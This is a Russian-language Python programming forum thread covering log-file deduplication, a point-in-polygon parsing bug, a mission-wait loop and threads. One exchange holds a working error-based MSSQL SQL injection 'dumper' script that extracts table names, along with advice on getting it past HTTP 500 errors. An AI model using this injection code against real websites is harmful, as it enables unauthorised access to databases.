поделитесь исходниками чтоб программно можно авторизоваться на сайте с помощью скрипта Python к примеру на томже Mail. только чтоб с коментариями пожалуйста
Хотел по-быстрому накропать дампер для MSSQL, но при выполнении запроса с инжектом выдается ошибка 500, хотя при вставле той ссылки в браузер - всё нормально. В чем тут проблема? Code: import re, urllib, urllib2 injLink = "http://www.site.com/script.asp?param=1%27%20or%201=" errorRegex = re.compile("Syntaxfehler beim Konvertieren des nvarchar-Wertes '(.+?)' in eine Spalte vom Datentyp int") headers = {'User-Agent' : 'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)'} link = injLink + urllib.quote("(SELECT TOP 1 table_name FROM information_schema.tables) --") print link req = urllib2.Request(link, None, headers) resp = urllib2.urlopen(req) table = re.findall(errorRegex, resp.read()) print table Соотвественно на строчке req = urllib2.Request(link, None, headers) имеем:
iv. 1) Заголовков много не бывает 2) попробуйте вместо последнего знака равенства в урле писать %3D 3) посмотрите wireshark'ом какие запросы на самом деле посылаются браузером. Тот же LiveHTTPHeaders имеет свойство врать
Решил посмотреть сперва, что показывает LiveHTTPHeaders, и он показывает, что действительно имеет место быть 500 ошибка, только вот браузер получает содержимое страницы несмотря на неё, а сприпт нет. Встает вопрос можно ли как-то отключить в модуле реагирование на ошибки? А то ведь с сокетами не очень хочется иметь дело..
iv. Errors should never pass silently. Unless explicitly silenced. Code: import re, urllib, urllib2 injLink = "http://www.site.com/script.asp?param=1%27%20or%201=" errorRegex = re.compile("Syntaxfehler beim Konvertieren des nvarchar-Wertes '(.+?)' in eine Spalte vom Datentyp int") headers = {'User-Agent' : 'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)'} link = injLink + urllib.quote("(SELECT TOP 1 table_name FROM information_schema.tables) --") print link req = urllib2.Request(link, None, headers) try: resp = urllib2.urlopen(req) except urllib2.HTTPError, e: resp = e table = re.findall(errorRegex, resp.read()) print table
IndexError: string index out of range Это часть кода парсера, должна определяет входит ли определенная в точка в зону многоугольника данные в словари area_country, d, area_x, area_z - добавляются автоматически вовремя парсинга логов, тут указаны вручную Code: #!/usr/bin/python # -*- coding: UTF-8 -*- import glob, MySQLdb, time, re from configobj import ConfigObj def inArea(x, z, ax, az): c=0 for i in range(len(ax)): if (((az[i]<=z and z<az[i-1]) or (az[i-1]<=z and z<az[i])) and \ (x > (ax[i-1] - ax[i]) * (z - az[i]) / (az[i-1] - az[i]) + ax[i])): c = 1 - c return c area_country = {} area_country['15360']='501' area_country['124928']='501' area_country['13312']='105' area_country['19456']='501' area_country['17408']='105' area_country['129024']='0' area_country['27648']='0' area_country['122880']='0' area_country['126976']='105' d ={} d["pos-x"]='29922.178' d["pos-z"]='30734.535' #area_x.update({d['aid'] : ax}) #area_z.update({d['aid'] : az}) area_x = {} area_x['15360']='(27963.0, 24298.0, 28409.0, 29784.0, 32941.0, 42717.0, 41692.0, 54988.0, 55002.0, 54989.0)' area_x['124928']='(25248.0, 27442.0, 27915.0, 35216.0, 41691.0, 42714.0, 32938.0, 29777.0, 28402.0, 24297.0, 23766.0)' area_x['13312']='(54996.0, 54969.0, 54988.0, 41692.0, 38751.0, 34648.0, 30690.0, 26752.0, 25229.0)' area_x['19456']='(24289.0, 27952.0, -5019.0, -4935.0, 11701.0, 13443.0, 19510.0)' area_x['17408']='(25219.0, 26741.0, 20298.0, 11701.0, -4935.0, -4995.0, -4988.0)' area_x['129024']='(24673.0, 25241.0, 23756.0, 24288.0, 19515.0, 13452.0, 11702.0, 23903.0, 23929.0)' area_x['27648']='(27480.0, 27860.0, 28391.0, 27431.0, 25248.0, 24682.0, 23932.0, 23875.0, 25482.0)' area_x['122880']='(30687.0, 34648.0, 38749.0, 41691.0, 35228.0, 27915.0, 28407.0, 27870.0, 27488.0, 26753.0)' area_x['126976']='(11702.0, 20288.0, 26726.0, 27483.0, 23867.0, 23903.0)' area_z = {} area_z['15360']='(54983.0, 39109.0, 37779.0, 34705.0, 31049.0, 38109.0, 26800.0, 24150.0, 39702.0, 54989.0)' area_z['124928']='(29122.0, 28304.0, 27667.0, 28386.0, 26800.0, 38103.0, 31048.0, 34701.0, 37772.0, 39099.0, 34735.0)' area_z['13312']='(-5022.0, 6022.0, 24147.0, 26799.0, 19110.0, 18498.0, 17271.0, 13429.0, -4962.0)' area_z['19456']='(39109.0, 54983.0, 54971.0, 26587.0, 24350.0, 31317.0, 37136.0)' area_z['17408']='(-4963.0, 13429.0, 14389.0, 24349.0, 26581.0, 11197.0, -5000.0)' area_z['129024']='(25766.0, 29118.0, 34735.0, 39099.0, 37129.0, 31310.0, 24350.0, 24448.0, 24989.0)' area_z['27648']='(22899.0, 25262.0, 27033.0, 28300.0, 29112.0, 25761.0, 24982.0, 23823.0, 23422.0)' area_z['122880']='(17280.0, 18508.0, 19118.0, 26799.0, 28368.0, 27667.0, 27043.0, 25261.0, 22891.0, 13445.0)' area_z['126976']='(24349.0, 14408.0, 13437.0, 22883.0, 23818.0, 24447.0)' captured = 0 for area in area_country: print area, float(d['pos-x']), float(d['pos-z']), area_x[area], area_z[area] print type(d['pos-x']), type(d['pos-z']), type(area_x[area]), type(area_z[area]) landed_area = (inArea(float(d['pos-x']), float(d['pos-z']), area_x[area], area_z[area])) print landed_area print area if landed_area == 1: break print "stop" получаю вот такую ошибку Code: Traceback (most recent call last): File "D:\Python!\PARSER-OTHER\trabl2.py", line 59, in <module> landed_area = (inArea(float(d['pos-x']), float(d['pos-z']), area_x[area], area_z[area])) File "D:\Python!\PARSER-OTHER\trabl2.py", line 9, in inArea if (((az[i]<=z and z<az[i-1]) or (az[i-1]<=z and z<az[i])) and \ IndexError: string index out of range п.с. заметил что если здесь убрать кавычки ' при добавление нового элемента словаря - то скрипт выполнятся без ошибок, но тут элементы прописывается вручную...
есть код удаляющий дубли строк в файле, сохраняя их последовательность Code: with open(file, 'r') as f: logfile = f.readlines() f.closed logfile_nodubl=[v for i,v in enumerate(logfile) if v not in logfile[:i]] with open(file, 'w') as f: for item in logfile_nodubl: f.write(item) f.closed например файл размером 2.7мб, 39187 строк после обработки 2.5мб, 36605 строк на квад 9500 обработка занимает 30 секунд, и все время выполнения проц загружен на 25% возможно как-то уменьшить нагрузку на проц?
Gifts`у не смотреть. Меня запинают за такое обращение с БД. Code: import time import sqlite3 def nd_write(in_file, out_file, encoding="cp1251"): print "nd_write function" print time.strftime("%X") connection = sqlite3.connect(":memory:") cursor = connection.cursor() cursor.execute('''create table temp (lines text unique)''') for line in open(in_file): try: cursor.execute("insert into temp (lines) values (?)", (line.strip().decode(encoding, "replace"), )) except sqlite3.IntegrityError: pass cursor.execute("select * from temp") with open(out_file, "w") as out: current_line = cursor.fetchone() while current_line: out.write(u"{0}\n".format(current_line[0]).encode(encoding, "replace")) current_line = cursor.fetchone() print time.strftime("%X") nd_write("temp.txt", "out.txt") Vaal, в функцию первым аргументом подаешь файл с логом, вторым аргументом - файл куда писать очищенное от дублей. Третий аргумент - кодировка файла с логом (нужно если в логе встречается кириллица). Работает на порядок шустрее и проц жрет меньше. Оперативки - приблизительно также как и твой вариант. Если необходимо обойтись без загрузки файла в оперативку, то можно это сделать, пожертвовав скоростью.
Vaal а мне понравилась реализация OrderedSet отсюда: http://code.activestate.com/recipes/576694/ На селероне 2.4ГГц, файл 130 метров (876к строк) очищается от дублей за 6 секунд: Code: import collections, time KEY, PREV, NEXT = range(3) class OrderedSet(collections.MutableSet): def __init__(self, iterable=None): self.end = end = [] end += [None, end, end] # sentinel node for doubly linked list self.map = {} # key --> [key, prev, next] if iterable is not None: self |= iterable def __len__(self): return len(self.map) def __contains__(self, key): return key in self.map def add(self, key): if key not in self.map: end = self.end curr = end[PREV] curr[NEXT] = end[PREV] = self.map[key] = [key, curr, end] def discard(self, key): if key in self.map: key, prev, next = self.map.pop(key) prev[NEXT] = next next[PREV] = prev def __iter__(self): end = self.end curr = end[NEXT] while curr is not end: yield curr[KEY] curr = curr[NEXT] def __reversed__(self): end = self.end curr = end[PREV] while curr is not end: yield curr[KEY] curr = curr[PREV] def pop(self, last=True): if not self: raise KeyError('set is empty') key = next(reversed(self)) if last else next(iter(self)) self.discard(key) return key def __repr__(self): if not self: return '%s()' % (self.__class__.__name__,) return '%s(%r)' % (self.__class__.__name__, list(self)) def __eq__(self, other): if isinstance(other, OrderedSet): return len(self) == len(other) and list(self) == list(other) return not self.isdisjoint(other) def __del__(self): self.clear() # remove circular references print time.strftime("%X") f = open('dubl.txt','rb') txt = OrderedSet(f.readlines()) f.close() print time.strftime("%X") f = open('out.txt','wb') f.writelines(txt) f.close() print time.strftime("%X")
снова я )) код проверяет закончилась ли миссия если да то в логе появится запись AType:7 но если записи нет, а логов в папке больше чем от одной миссии, то удаляем текущею т.к. она была завершена на корректна без AType:7 и выходим из скрипта, он сам запускается заново батником проблема в том что ожидать окончания иногда нужно 4-5 часов, и уже неоднократно скрипт просто повисал на этом цикле т.е. запись AType:7 уже появилась и началась новая миссия, а он все ждет - висит Code: print "wait end mission" # проверка, закончилась ли миссия - наличие AType:7 в логах misend = 0 while misend == 0: outtxtlog = [] outtxtlog2 = '' for txtfiles in glob.glob(path2game+'data/'+misreport+'*.txt'): for txtlogline in open(txtfiles): outtxtlog.append(txtlogline) outtxtlog2 = "; ".join(outtxtlog) if 'AType:7' in outtxtlog2: print "AType:7 - Mission END" misend = 1 elif ('AType:7' not in outtxtlog2) and (filemisreport_count > 1): lparserbat = open("lparser.bat", "w") print>>lparserbat, 'del "'+path2game+'data\\'+misreport+'*.*"' lparserbat.close() os.startfile(r'lparser.bat') time.sleep(2) sys.exit() time.sleep(5)
Спасибо! Сосбна я не программист как видишь, так ковыряюсь в силу своих способностей. Такой вопрос, это именно для "надежности" подобные циклы, даже небольшие делают функциями? или так "принято" в питоне?
/me Тоже не программист. Не знаю, мне так удобнее ))). Привык разделять все на шаги. При разделении по функциям потом легко прикручивается многопоточность (^.^)
ясн кстати по потоками я не нашел никакой встроенное возможности остановить, убить поток плохо искал? или такой возможности нет?